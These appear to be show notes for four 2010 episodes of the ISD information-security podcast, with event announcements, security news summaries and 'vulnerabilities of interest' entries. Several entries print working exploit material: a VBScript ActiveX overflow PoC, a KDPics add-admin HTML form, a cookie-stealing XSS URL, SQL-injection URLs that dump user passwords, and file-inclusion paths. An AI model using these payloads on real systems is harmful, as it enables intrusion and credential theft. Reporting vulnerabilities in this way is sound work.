ISD Podcast Episode 71 for February 19, 2010. This podcast is our contribution back to the community where we will discuss the vulnerabilities of interest, information security related news hopefully providing you a few laughs and a little knowledge.

Announcements:

MyHardDriveDied.com will be putting on their SANS version of the Data Recovery Class in Orlando at SANS 2010 March 8^th to 12^th. https://www.sans.org/registration/register.php?conferenceid=2191

Data Recovery Class April 12th to the 16th in Washington DC goto MyHardDriveDied.com or email smoulton at nicservices dot com for more information.

The next dc404 meeting is THIS Saturday, February 20th, at 2pm at the Vortex Midtown.   This month’s topic is “Social Engineering,” and Beau W. will be presenting. We hope to see a big group on Saturday!

March 15 – 20, 2010 SANS Audit 507: Auditing Networks, Perimeter and Systems  (http://www.sans.org/atlanta-auditing-networks-perimeters-2010-cs)

April 15 – 21, 2010  SANS Mgmt 512: Security Leadership Essentials for Managers with Knowledge Compression (TM) (http://www.sans.org/atlanta-security-leadership-2010-cs)

May 17 – 21, 2010  SANS Security 566:  Implementing and Auditing the Twenty Critical Security Controls – In Depth  (http://www.sans.org/atlanta-critical-controls-2010-cs)

Vulnerabilities of Interest:

1. SystemTap is subject to multiple local memory-corruption vulnerabilities. An attacker may exploit these issues to execute arbitrary code with SYSTEM privileges. Failed exploit attempts will result in a denial of service. SystemTap 1.1 is vulnerable; other versions may also be affected.
   #!/bin/bash
   while [ "0" = "0" ] ; do
   HOME=1
   /bin/echo /usr/src/kernels/2.6.18-128.el5-PAE-i686/include/*/*

   cat /proc/slabinfo
   done

2. New-CMS is subject to multiple local file-include vulnerabilities and an HTML-Injection vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit the local file-include vulnerabilities using directory-traversal strings to view and execute a crafted ‘cmd.php’ script within the context of the webserver process. Information harvested may aid in further attacks. The attacker may leverage the HTML-Injection issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. New-CMS 1.08 is vulnerable; other versions may also be affected.  Example URL: http://www.sample.com/pdf.php?lng=cmd.php

   http://www.sample.com/newcms/struttura/manager.php?lng=cmd.php

   http://www.sample.com/newcms/struttura/editor/quote.php?lng=cmd.php

3. OCS Inventory NG is subject to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. The issues affect versions 1.02.3, 1.3.0 and 1.3.1. Other versions may also be affected.To exploit these issues, an attacker must entice an unsuspecting victim into following a malicious URI.
4. PortWise SSL VPN is subject to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.  An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. PortWise SSL VPN 4.6 is vulnerable; other versions may also be affected.  Exploit code is available:  https://www.sample.com/wa/auth?&authmech=Assess&reloadFrame=%22;%3Cscript%3Eblah%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

News Items of Interest:

News item 1:  http://www.informationweek.com/news/government/security/showArticle.jhtml?articleID=222900539
The Department of Defense has signaled its intention to develop new policies requiring its vendors to meet increased standards for cybersecurity for unclassified military information residing on or being carried over private sector systems and networks.

In a memo issued in late January, Department of Defense chief information officer Cheryl Roby laid out a number of leadership responsibilities and strategic guidance on the development of stronger cybersecurity plans.

“It is DoD policy to establish a comprehensive approach for protecting unclassified DoD information transiting or residing on unclassified [Defense industrial base] systems and networks and create a timely, coordinated, and effective partnership with the [Defense industrial base]”

News item 2: http://www.krebsonsecurity.com/2010/02/hackers-steal-150000-from-mich-insurance-firm/

An insurance firm in Michigan lost nearly $150,000 this month as a result of a single computer virus infection.

Port Austin, Mich. based United Shortline Insurance Service Inc., an insurance provider serving the railroad industry, discovered on Feb. 5 that the computer used by their firm’s controller was behaving oddly and would not respond. The company’s computer technician scoured the system with multiple security tools, and found it had been invaded by “ZeuS,” a highly sophisticated banking Trojan that steals passwords and allows criminals to control infected hosts remotely

The following Monday, Feb. 8, United Shortline received a call from the Tinker Federal Credit Union at Tinker Air Force Base in Oklahoma, inquiring about a suspicious funds transfer one of its customers had received for slightly less than $10,000.

After that call, United Shortline President Louis M. Schillinger said the firm found 14 other such unauthorized transfers had been made from the company’s account to individuals across the United States who had no prior business with Shortline.

News item 3:http://www.computerworld.com/s/article/9157098/Hackers_at_Pwn2Own_to_compete_for_100K_in_prizes?taxonomyId=17

Pwn2Own contest next month will award cash prizes of $15,000 to anyone who can break into an iPhone, BlackBerry Bold, Droid or Nokia

smartphone.

The prizes are 50% more than the top awards given last year at Pwn2Own,which will kick off March 24 at the CanSecWest security conference in

Vancouver, British Columbia. Altogether, $100,000 could be handed out by3Com TippingPoint, the contest sponsor.

Pwn2Own will again offer a dual-track challenge with both browser and mobile OS targets, said Aaron Portnoy, a TippingPoint security research

team lead, on a company blog that announced details of this year’s contest.

Now in its fourth year, Pwn2Own has repeatedly made headlines for hacks of Apple’s Mac OS X and Microsoft’s Internet Explorer. In 2009, for

example, researcher Charlie Miller broke into a Mac in less than five seconds to win $5,000.

News item 4: http://news.techworld.com/security/3213110/billboard-porn-hacker-busted/
When a Russian hacker last month broke into a giant video advertising billboard located in Moscow to run a pornographic film on it, it caused chaos in city traffic. But Russian news sources report police in the southern city of Novorossiisk have arrested the suspected billboard hacker.

Though not identifying him by name, a statement from the Interior Ministry’s high-tech crime unit says the suspected billboard hacker is a 41-year-old unemployed man who police believe used the IP address of an organisation based in Chechnya to breach a Moscow server in order to upload his pornographic video, according to The Moscow Times.

News item 5: http://www.eweek.com/c/a/Security/Researcher-Uncovers-eBay-Security-Vulnerabilities-684970/
eBay is working to patch a cross-site request forgery vulnerability recently uncovered by a security researcher. The Avnet researcher also discovered cross-site scripting and blind SQL injection bugs in eBay’s online auction site, which eBay has fixed.

eBay is working on a fix for a cross-site request forgery problem that could allow an attacker to change a user’s password and get access to that user’s account.

News item 6: http://www.msnbc.msn.com/id/35456838/ns/technology_and_science-security/
A computer botnet is known to have breached almost 75,000 computers in 2,500 organizations around the world, including user accounts of popular social network Web sites, according Internet security firm NetWitness.The “Kneber botnet,” as it’s known, gathers login credentials to online financial systems, social networking sites and e-mail systems from infested computers and reports the information back to hackers.

News item 7: http://www.computerworld.com/s/article/9159278/Pa._school_district_denies_spying_on_students_with_MacBooks?source=rss_news

A suburban Philadelphia school district remotely activates the cameras in school-provided laptops to spy on students in their homes, a lawsuit filed in federal court Tuesday alleged.

According to the lawsuit filed by a high school student and his parents, the school has spied on students and families by “indiscriminate use of and ability to remotely activate the webcams incorporated into each laptop issued to students by the School District.”

Approximately 1,800 students at the district’s two high schools have been given laptops as part of a state- and federally-funded “one-to-one” student-to-laptop initiative.

News item 8:http://www.computerworld.com/s/article/9159258/Chinese_school_linked_to_Google_attacks_also_linked_to_01_attacks_on_White_House_site
One of two Chinese academic institutions identified in a New York Times report Thursday as the apparent source of the recent attacks against Google, has also been linked to a hacker who may have been involved with the takedown of whitehouse.gov in 2001.

The Times yesterday reported that the recent cyberattacks against Google and more than 30 other organizations appeared to have originated from computers at two schools in China. One of the schools was identified as the Shanghai Jiaotong University; the other, as the Lanxiang Vocational School, an academic institution in China’s Shandong Province with apparent ties to the country’s military.

News item 9:http://www.theregister.co.uk/2010/02/18/firefox_zero_day_report/

A Russian security researcher on Thursday said he has released attack code that exploits a critical vulnerability in the latest version of Mozilla’s Firefox browser.

The exploit – which allows attackers to remotely execute malicious code on end user PCs – triggers a heap corruption vulnerability in the popular open-source browser, said Evgeny Legerov, founder of Moscow-based Intevydis. He recently added it as a module to Vulndisco, an add-on to the Immunity Canvas automated exploitation system sold to security professionals.

News item 10:  http://www.wired.com/dangerroom/2010/02/hackers-troops-rejoice-pentagon-lifts-thumb-drive-ban/

U.S. Strategic Command has lifted its ban on the tiny drives, memory sticks, CDs and other “removable flash media” on military networks.

The repeal, first reported by InsideDefense.com, may be good news for troops, who depend on the drives to move data in bandwidth-starved locations. But it may be good news for hackers, too. The original network security concerns which prompted the ban haven’t really been addressed, one Strategic Command cyber defense specialist tells Danger Room: “Not much changed. StratCom simply does not have the support to enforce such a ban indefinitely.”

StratCom prohibited the drives’ use back in November 2008 after the Agent.btz virus began working its way through military networks. A variation of the “SillyFDC” worm, Agent.btz spreads by copying itself from thumb drive to computer and back again. Once on a PC, “it automatically downloads code from another location. And that code could be pretty much anything,” iDefense computer security expert Ryan Olson said at the time.

News item 11: http://www.eweek.com/c/a/Security/Google-Patches-Buzz-Security-Vulnerability-471810/

Google has fixed a cross-site scripting bug that allowed attackers to take control of Google Buzz accounts. The bug affects the mobile version of Buzz and was reported Feb. 16 by SecTheory CEO Robert Hansen. Google patched the vulnerability the same day. According to Hansen, news of the flaw was passed along to him by a hacker with the moniker of TrainReq.

“There [are] four things of note here,” Hansen blogged. “Firstly, it’s on Google’s domain, not some other domain like Google Gadgets or something. So, yes, it’s bad for phishing and for cookies. Secondly, it’s over SSL/TLS [Secure Sockets Layer/Transport Layer Security] (so no one should be able to see what’s going on, right?). Third, it could be used to hijack Google Buzz—as if anyone is using that product (or at least you shouldn’t be). And lastly, isn’t it ironic that Google is asking to know where I am on the very same page that’s being compromised?”

News item 12: http://www.scientificamerican.com/article.cfm?id=flattery-will-get-you-far&sc=MND_20100216
Elaine Chan and Jaideep Sengupta at the Hong Kong University of Science and Technology research which was first reported in the Journal of Marketing Research, showed that while most people can spot obvious flattery and attempts to influence them, on an innate subconscious level it actually works!

The study showed that while participants explicit attitudes rejected marketing come-on’s, their implicit attitudes were more positive and could be used to predict future behavior. This susceptibility to flattery may stem from the basic human need to feel good about oneself, referred to as illusory superiority or the above-average effect.

In testing whether or not the motive to self-enhance was related to insincere flattery, the researchers showed that, in the words of Scientific American, “those of us who could use a little pick-me up to begin with are particularly vulnerable to the message behind a smooth sales pitch”.

So, how does this relate to information security and why is it important? This all goes back to social engineering and the ability to market towards or convince other people to do what you want them to. Knowledge of these behavioral responses can be applied to social engineering as part of penetration testing and taught as part of security awareness training. On the converse, look for this to be used in phishing attempts.

ISD Podcast Episode 70 for February 18, 2010. This podcast is our contribution back to the community where we will discuss the vulnerabilities of interest, information security related news hopefully providing you a few laughs and a little knowledge.

Announcements:

MyHardDriveDied.com will be putting on their SANS version of the Data Recovery Class in Orlando at SANS 2010 March 8^th to 12^th. https://www.sans.org/registration/register.php?conferenceid=2191

Data Recovery Class April 12th to the 16th in Washington DC goto MyHardDriveDied.com or email smoulton at nicservices dot com for more information.

The next dc404 meeting is THIS Saturday, February 20th, at 2pm at the Vortex Midtown.   This month’s topic is “Social Engineering,” and Beau W. will be presenting. We hope to see a big group on Saturday!

March 15 – 20, 2010 SANS Audit 507: Auditing Networks, Perimeter and Systems  (http://www.sans.org/atlanta-auditing-networks-perimeters-2010-cs)

April 15 – 21, 2010  SANS Mgmt 512: Security Leadership Essentials for Managers with Knowledge Compression (TM) (http://www.sans.org/atlanta-security-leadership-2010-cs)

May 17 – 21, 2010  SANS Security 566:  Implementing and Auditing the Twenty Critical Security Controls – In Depth  (http://www.sans.org/atlanta-critical-controls-2010-cs)

Vulnerabilities of Interest:

1. Mozilla Firefox and SeaMonkey are subject to a cross-domain scripting vulnerability because they fail to properly sanitize user-supplied input.
   An attacker can exploit this issue to execute arbitrary code in the context of a different domain. Successful exploits may result in privilege escalation. Versions prior to the following are vulnerable: Firefox 3.6, Firefox 3.5.8, Firefox 3.0.18 and SeaMonkey 2.0.3. Other versions may also be affected. All that an attacker has to do to exploit this vulnerability is lure an unsuspecting victim to a malicious URL.
2. Mozilla Firefox and SeaMonkey are subject to a cross-domain scripting vulnerability because they fail to properly handle SVG documents referenced via the ‘embed’ tag.  Attackers may leverage this issue to execute arbitrary script code within the context of targeted sites; this may allow the attacker to steal cookie-based authentication credentials or to launch other attacks. All that an attacker has to do to exploit this vulnerability is lure an unsuspecting victim to a malicious URL.
3. The iTweak Upload module for Drupal is subject to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.
   Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
   To exploit this issue, the attacker must have permissions to create content and upload files. The following are vulnerable: iTweak Upload 6.x-1.x (prior to 6.x-1.2) and iTweak Upload 6.x-2.x (prior to 6.x-2.3).  All that an attacker has to do to exploit this vulnerability is lure an unsuspecting victim to a malicious URL.
4. Rising Online Virus Scanner ActiveX control is subject to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data. Successful exploits may allow an attacker to execute arbitrary code in the context of a user running the affected application. Failed attempts will likely result in denial-of-service conditions.  Rising Online Virus Scanner 22.0.5 is vulnerable; other versions may also be affected. Proof of concept code is available:
   <html>
   <body>
   <object classid='clsid:9FAFB576-6933-4CCC-AB3D-B988EC43D04E'
   id='obj'></object>
   <script language='vbscript'>
   buf=String(520000, "A")
   obj.Scan buf
   </script>
   </body>
   </html>
5. The KDE screensaver application is subject to a vulnerability that allows an attacker who has physical console access to bypass the user’s locked screen. This issue affects the KRunner application used to perform password validation. Computers may be affected by this issue even when no screensaver is being used. KDE 4.4.0 is vulnerable; other versions may also be affected. To exploit this issue, attackers require physical console access.
6. Cisco ASA 5500 series appliances are subject to a remote authentication-bypass vulnerability. Successful exploits allow remote attackers to gain access to vulnerable devices, without requiring successful authentication. This issue is being tracked by Cisco bug ID CSCte21953. Attackers can use readily available tools to exploit this issue.
7. The Sun-Java package of Pardus is subject to a local privilege-escalation vulnerability. Local attackers can exploit this issue to execute arbitrary code with escalated privileges and may completely compromise the affected computer. An attacker can use readily available command-line utilities to exploit this issue.

News Items of Interest:

News item 1:  http://news.cnet.com/8301-13860_3-10454741-56.html?part=rss&subj=news&tag=2547-1_3-0-20

Microsoft is looking into reports that some Windows Live customers may have gotten access to other users’ information.

“Microsoft is investigating reports of a limited number of instances in which Windows Live customers may have access to other customers’ accounts when accessing their account through mobile Web browser,” the company said in a statement Tuesday. “Microsoft takes customers’ privacy seriously, and immediately upon learning of these reports, we started an investigation.”

The company added that it “will take appropriate action once we have completed the investigation.”

News item 2: http://zero.facebook.com/

Facebook has revealed details of a stripped-down, text-only version of its mobile site called Facebook Zero. The low-bandwidth site is aimed at people viewing Facebook on their mobile and will launch “in the coming weeks”.  The social network recently said that more than 100 million people now access Facebook from their phone.  Is Kevin Johnson behind this?

News item 3: http://www.myinfosecjob.com/2010/01/7-things-every-security-professional-should-know/
The following is an extract from an article I came across. It attempts to address some aspects that go beyond skill sets.. in fact I might dare call them soft skills..

To be considered a respected Information Security Professional nowadays requires more than just knowing the bits or bytes, or the controls required by a given framework by heart. Being successful in your Information Security career requires you to have a deep understanding of the business needs (and how to enable, not disrupt them), sharp communication skills and a swift ability to sell yourself.

1. Learn to communicate effectively (This can not be underestimated.  We struggle in our personal, business and yes, even on this podcast)
2. Learn to say ‘may be’ rather than ‘no’ (This is something I personally work at, I’d rather not be perceived as a roadblock, but yet an enabler)
3. Social networking sites are not just extensions of instant messengers (I’m trying to embrace them, but people like Kevin Johnson scare the hell out of me!)
4. Monitor security industry budgets and salary trends (It’s nice to know what your skills are worth and what your industry is devoting to both IT and Security Budgets)
5. Don’t be limited to just reading (So those that are listening to this are already meeting this!)
6. Blogging is serious business (As is podcasting, that’s not to say you can’t have fun, but you need to recognize it’s value)
7. Don’t be afraid of starting a business (or join a smaller company where you can make a difference)

News item 4:  http://www.informationweek.com/news/government/security/showArticle.jhtml?articleID=222900539
The Department of Defense has signaled its intention to develop new policies requiring its vendors to meet increased standards for cybersecurity for unclassified military information residing on or being carried over private sector systems and networks.

In a memo issued in late January, Department of Defense chief information officer Cheryl Roby laid out a number of leadership responsibilities and strategic guidance on the development of stronger cybersecurity plans.

“It is DoD policy to establish a comprehensive approach for protecting unclassified DoD information transiting or residing on unclassified [Defense industrial base] systems and networks and create a timely, coordinated, and effective partnership with the [Defense industrial base],” Roby wrote.

News item 5: http://www.krebsonsecurity.com/2010/02/hackers-steal-150000-from-mich-insurance-firm/

An insurance firm in Michigan lost nearly $150,000 this month as a result of a single computer virus infection.

Port Austin, Mich. based United Shortline Insurance Service Inc., an insurance provider serving the railroad industry, discovered on Feb. 5 that the computer used by their firm’s controller was behaving oddly and would not respond. The company’s computer technician scoured the system with multiple security tools, and found it had been invaded by “ZeuS,” a highly sophisticated banking Trojan that steals passwords and allows criminals to control infected hosts remotely

The following Monday, Feb. 8, United Shortline received a call from the Tinker Federal Credit Union at Tinker Air Force Base in Oklahoma, inquiring about a suspicious funds transfer one of its customers had received for slightly less than $10,000.

After that call, United Shortline President Louis M. Schillinger said the firm found 14 other such unauthorized transfers had been made from the company’s account to individuals across the United States who had no prior business with Shortline.

News item 6: http://www.computerworld.com/s/article/9157098/Hackers_at_Pwn2Own_to_compete_for_100K_in_prizes?taxonomyId=17

Pwn2Own contest next month will award cash prizes of $15,000 to anyone who can break into an iPhone, BlackBerry Bold, Droid or Nokia

smartphone.

The prizes are 50% more than the top awards given last year at Pwn2Own,which will kick off March 24 at the CanSecWest security conference in

Vancouver, British Columbia. Altogether, $100,000 could be handed out by3Com TippingPoint, the contest sponsor.

Pwn2Own will again offer a dual-track challenge with both browser and mobile OS targets, said Aaron Portnoy, a TippingPoint security research

team lead, on a company blog that announced details of this year’s contest.

Now in its fourth year, Pwn2Own has repeatedly made headlines for hacks of Apple’s Mac OS X and Microsoft’s Internet Explorer. In 2009, for

example, researcher Charlie Miller broke into a Mac in less than five seconds to win $5,000.

Technical Segment: Stego fun.

Steganography articles
http://www.jjtc.com/pub/r2026.pdf
http://www.citi.umich.edu/u/provos/papers/practical.pdf
http://nas.takming.edu.tw/chkao/LNCS2001.pdf

James Shewmakers Defcon 16 talk
http://bit.ly/aaeyYS
Original Image

The encoded.png just has “Hello Rick!!!” embedded in it using LSB on each of the RGB values per pixel.  I want to see if I can write a simple bot that uses Steganography and blinddrops as a C&C.  Oh, and this is a much better tool:
http://steghide.sourceforge.net/

ZipIt stuff:

Buy it
http://www.amazon.com/ZIPIT-All-Wi-Fi-Messenger-Black/dp/B00115PR2O/ref=sr_1_1?ie=UTF8&s=electronics&qid=1266522988&sr=8-1

Hak5
http://hak5.org

Hunter Davis’ Blog
http://hunterdavis.com/archives/category/zipit-hacking

More Noob friendly userland image:
http://zipit.rootnexus.org/

ISD Podcast Episode 69 for February 17, 2010. This podcast is our contribution back to the community where we will discuss the vulnerabilities of interest, information security related news hopefully providing you a few laughs and a little knowledge.

Announcements:

MyHardDriveDied.com will be putting on their SANS version of the Data Recovery Class in Orlando at SANS 2010 March 8^th to 12^th. https://www.sans.org/registration/register.php?conferenceid=2191

Data Recovery Class April 12th to the 16th in Washington DC goto MyHardDriveDied.com or email smoulton at nicservices dot com for more information.
Shmoocon Fireside Talks: http://www.irongeek.com/i.php?page=videos/shmoocon-firetalks-2010

March 15 – 20, 2010 SANS Audit 507: Auditing Networks, Perimeter and Systems  (http://www.sans.org/atlanta-auditing-networks-perimeters-2010-cs)

April 15 – 21, 2010  SANS Mgmt 512: Security Leadership Essentials for Managers with Knowledge Compression (TM) (http://www.sans.org/atlanta-security-leadership-2010-cs)

May 17 – 21, 2010  SANS Security 566:  Implementing and Auditing the Twenty Critical Security Controls – In Depth  (http://www.sans.org/atlanta-critical-controls-2010-cs)

Vulnerabilities of Interest:

1. Huawei HG510 is subject to multiple cross-site request-forgery vulnerabilities. Successful exploits may allow attackers to run privileged commands on the affected device, change configuration, cause denial-of-service conditions, or inject arbitrary script code. Other attacks are also possible. Example URL is available: http://www.sample.com/password.cgi?sysPassword=BASE64_NEW_PASSWORD
2. Généré par KDPics v1.18 is subject to a vulnerability that could allow an attacker to remote add an Admin account.  Google Dork: “Généré par KDPics v1.18″Exploit code is available:
   <html>
   <title>Généré par KDPics v1.18 Remote Add Admin</title>

   <body link=”#00FF00″ text=”#008000″
   bgcolor=”#000000″>

   <form method=”POST”
   action=”http://www.site.com/kdpics/admin/index.php3?page=options&c
   ategorie=”>
   <input
   value=”add”>
   <table border=”1″ cellpadding=”4″
   style=”border-collapse: collapse” width=”100%”
   bordercolor=”#808080″>
   <tr>
   <td>
   <p align=”center”><b>User & Pass
   :Snakespc</b></p>
   <p align=”center”><b><font face=”Comic Sans
   MS”>
   <a href=”http://server/path//index.php?act=idx”
   style=”text-decoration: none”>
   <font color=”#00FF00″>[&#187;]Founder:[ Snakespc
   Email:super_cristal@hotmail.com - Site:sec-war.com/cc> ]</p>
   [&#187;] Greetz to:[ sec-warTeaM, PrEdAtOr ,alnjm33 >>> All My
   Mamber >> sec-war.com/cc ]</p>[&#187;] Dork:”Généré
   par KDPics
   v1.18″</font></a></font></b></p>
   <p align=”center”><b>Username:</b></td>
   </tr>
   <tr>
   <td height=”1″>
   <p align=”center”><input
   size=”30″
   value=”Snakespc”></td>
   </tr>
   <tr>
   <td>
   <p align=”center”><b>Password:</b></td>
   </tr>
   <tr>

   <td height=”22″>
   <p align=”center”>
   <input
   size=”30″ value=”Snakespc”></td>
   </tr>
   <tr>
   <td align=”right”>
   <p align=”center”>
   <input value=”Add User >>”
   style=”font-weight: 700″></td>
   </tr>
   </form>
   </table>
   </html>
   [&#187;]Author: Snakespc <-

3. SyntaxCMS version 1.3 is subject to a remote file inclusion vulnerability.  PoC code is available: [SyntaxCMS_path]/admin/testing/tests/0004_init_urls.php?init_path=[Shell]
4. PEAR version 1.9.0 is subject to multiple Remote File Inclusion vulnerabilities.  Exploit code is available: http://www.sample.com/[DIRECTORY_SEPARATOR]/PEAR_DIR/PEAR.php?include_path=[Shell.txt?]
5. The ‘com_acteammember’ component for Joomla! is subject to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Example URL: http://www.sample.com/index.php?option=com_acteammember&amp;id=-1+UNION+SELECT+1,2,3,4,5,concat(username,0×20,password),7,8,9,10,11,12,13,14,15+from+mos_users–&amp;Itemid=121&amp;lang=en
6. The ‘com_acstartseite’ component for Joomla! is subject to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.  Example URL: http://www.sample.com/index.php?option=com_acstartseite&amp;Itemid=null+and+1=2+union+select+1,2,concat(username,0×20,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+mos_users&amp;lang=de

News Items of Interest:

News item 1: http://www.gizmodo.com.au/2010/02/is-apple-banning-iphone-hackers/

Sherif Hashim and iH8sn0w are both reporting bannings by Apple ID, following their latest hacks.  Is Apple attacking jailbreak from the bottom up? Maybe. Both Sherif Hashim and iH8sn0w were behind the discovery of recent iPhone exploits, and both are currently receiving a “This Apple ID has been banned for security purposes” notification whenever they try to log into the (actual) App Store to download an app. But. But! While Sherif’s exploit was publicly documented, IH8sn0w’s was shared only with the Dev Team. So: Is Apple somehow detecting certain exploits and banning automatically?
News item 2: http://reviews.cnet.com/8301-13970_7-10453550-78.html?part=rss&subj=news&tag=2547-1_3-0-20

Dick Lynch, an executive vice president and CTO for Verizon Communications, said during a press conference here that Verizon Wireless is on track to launch its commercial LTE (long-term evolution) service this year. The gathering was hosted by the GSM Association, which puts on the Mobile World Congress.

Lynch said Verizon Wireless is in the final testing phase, or “Phase 4,” of its LTE technology. Within 60 days he said he expects testing to be completed in Boston and Seattle. After those trials are complete, Verizon will be ready to announce commercial deployments
News item 3: http://www.computerworld.com/s/article/9157558/Update_Adobe_issues_emergency_PDF_patches?taxonomyId=18
As expected, Adobe today released an emergency update that patched a pair of critical vulnerabilities in its popular PDF viewing and editing software.

Adobe ranked both bugs as critical.

Last Thursday Adobe said it would issue a rush patch for Adobe Reader and Adobe Acrobat on Feb. 16; it made good on the promise yesterday by addressing two flaws. One was identical to the cross-domain request vulnerability fixed last week in Flash Player, Adobe’s ubiquitous media player, while the second was a vulnerability that attackers could exploit to install malware on a targeted machine.

The bug related to Flash Player, tagged as CVE-2010-0186 in the Common Vulnerabilities and Exposures (CVE) database, cannot be used to inject malicious code into a system, but could be exploited by information thieves in a cross-site scripting style of attack.

News item 4: http://chatroulette.com/

Make sure there are no kids in the room if you plan on trying out the Chatroulette video chat service. While I was able to have a couple of very nice conversations with fully clothed polite individuals, I saw some things I would rather have avoided as I tested this relatively new service.

When you first enter the site you’ll see two large black boxes and a blank area for text chat. As soon as you click “play,” you’ll see a stranger’s picture in the top box and–at least on my machine–a notice asking if you wish to allow the site to access your video camera. If you click “allow,” you’ll see your picture in the bottom box.
News item 5: http://cwe.mitre.org/top25/

Computer experts from some 30 organizations worldwide have once again compiled a list of the 25 most dangerous programming errors along with a novel way to prevent them: by drafting contracts that hold developers responsible when bugs creep into applications.

The list for 2010 bears a striking resemblance to last year’s list, which was the first time a broad cross section of the world’s computer scientists reached formal agreement on the most common programming pitfalls. The effort is designed to shift attention to the underlying mistakes that allow vulnerabilities to happen in the first place.
Rank     Score ID     Name
[1]         346         CWE-79 Failure to Preserve Web Page Structure (‘Cross-site Scripting’)
[2]         330         CWE-89 Improper Sanitization of Special Elements used in an SQL Command (‘SQL Injection’)
[3]         273         CWE-120 Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)
[4]         261         CWE-352 Cross-Site Request Forgery (CSRF)
[5]         219         CWE-285 Improper Access Control (Authorization)
[6]         202         CWE-807 Reliance on Untrusted Inputs in a Security Decision
[7]         197         CWE-22 Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)
[8]         194         CWE-434 Unrestricted Upload of File with Dangerous Type
[9]         188         CWE-78 Improper Sanitization of Special Elements used in an OS Command (‘OS Command Injection’)
[10]       188         CWE-11 Missing Encryption of Sensitive Data
[11]       176         CWE-798 Use of Hard-coded Credentials
[12]       158         CWE-805 Buffer Access with Incorrect Length Value
[13]       157         CWE-98 Improper Control of Filename for Include/Require Statement in PHP Program (‘PHP File Inclusion’)
[14]       156         CWE-129 Improper Validation of Array Index
[15]       155         CWE-754 Improper Check for Unusual or Exceptional Conditions
[16]       154         CWE-209 Information Exposure Through an Error Message
[17]       154         CWE-190 Integer Overflow or Wraparound
[18]       153         CWE-131 Incorrect Calculation of Buffer Size
[19]       147         CWE-306 Missing Authentication for Critical Function
[20]       146         CWE-494 Download of Code Without Integrity Check
[21]       145         CWE-732 Incorrect Permission Assignment for Critical Resource
[22]       145         CWE-770 Allocation of Resources Without Limits or Throttling
[23]       142         CWE-601 URL Redirection to Untrusted Site (‘Open Redirect’)
[24]       141         CWE-327 Use of a Broken or Risky Cryptographic Algorithm
[25]       138         CWE- 362 Race Condition

News item 6: http://www.washingtonpost.com/wp-dyn/content/article/2010/02/14/AR2010021403817.html?hpid=sec-tech

More private computers were commandeered by hackers for malicious purposes in China in the last quarter of 2009 than in any other country, according to a new study by an Internet security company.

These “zombie” computers are often grouped into “botnets,” or armies of infected computers that can be used to send spam e-mail or attack websites, according to McAfee. The company, which said it collects information about Internet-based threats that target more than 100 million computers in 120 countries, said that in the last three months of 2009, about 1,095,000 computers in China were infected and 1,057,000 in the United States.

News item 7: http://ha.ckers.org/blog/20100216/google-buzz-security-flaw/
Apparently, the Google Buzz for Mobile Web site is subject to a cross-site scripting flaw which could allow an attacker to have your Buzz say things you don’t want to say or follow people you don’t want to follow.  This is yet another example of bad input validation/output encoding by your favorite advertising overlords at Google.

There’s four things of note here. Firstly it’s on Google’s domain, not some other domain like Google Gadgets or something. So yes, it’s bad for phishing and for cookies. Secondly, it’s over SSL/TLS and thirdly, it could be used to hijack Google Buzz.

So I setout to remove myself from Buzz and it’s not quite as difficult as it once was. One way to do this is to find your profile (http://www.google.com/profiles) and search on your name. Next, permanently delete buzzes in the public timeline by clicking the “Delete” tag. Then get to work unfollowing those that Google has “helped” you automatically follow.  Once you’ve done that you can go into your profile and choose delete.  This will remove your public profile which is probably redundant as it also removes your buzzes and followers, etc.  Now you can go to the bottom of gmail and click “Turn Off Buzz”.  That should do it.

ISD Podcast Episode 68 for February 16, 2010. This podcast is our contribution back to the community where we will discuss the vulnerabilities of interest, information security related news hopefully providing you a few laughs and a little knowledge.

Announcements:

MyHardDriveDied.com will be putting on their SANS version of the Data Recovery Class in Orlando at SANS 2010 March 8^th to 12^th. https://www.sans.org/registration/register.php?conferenceid=2191

Data Recovery Class April 12th to the 16th in Washington DC goto MyHardDriveDied.com or email smoulton at nicservices dot com for more information.
Shmoocon Fireside Talks: http://www.irongeek.com/i.php?page=videos/shmoocon-firetalks-2010

Vulnerabilities of Interest:

1. The Linux kernel is subject to a local denial-of-service vulnerability.Attackers can exploit this issue to cause the affected kernel to crash, denying service to legitimate users. Versions prior to Linux kernel 2.6.33-rc6 are vulnerable.  NOTE: This issue can be exploited only on 64-bit architectures. Core dumps must be enabled. Exploit code is available.
2. StatCounteX is subject to a vulnerability that results in unauthorized administrative access. The application fails to authenticate users when certain pages are accessed. Attackers can leverage this issue to compromise the application, which could aid in other attacks. StatCounteX 3.0 and 3.1 are vulnerable; other versions may also be affected. Attackers can use a browser to exploit this issue.
3. The ‘com_flashmagazinedeluxe’ component for Joomla! is subject to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.  Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Example URL: http://www.sample.com/index.php?option=com_flashmagazinedeluxe&amp;Itemid=36&amp;task=magazine&amp;mag_id=4+AND SUBSTRING(@@version,1,1)=4
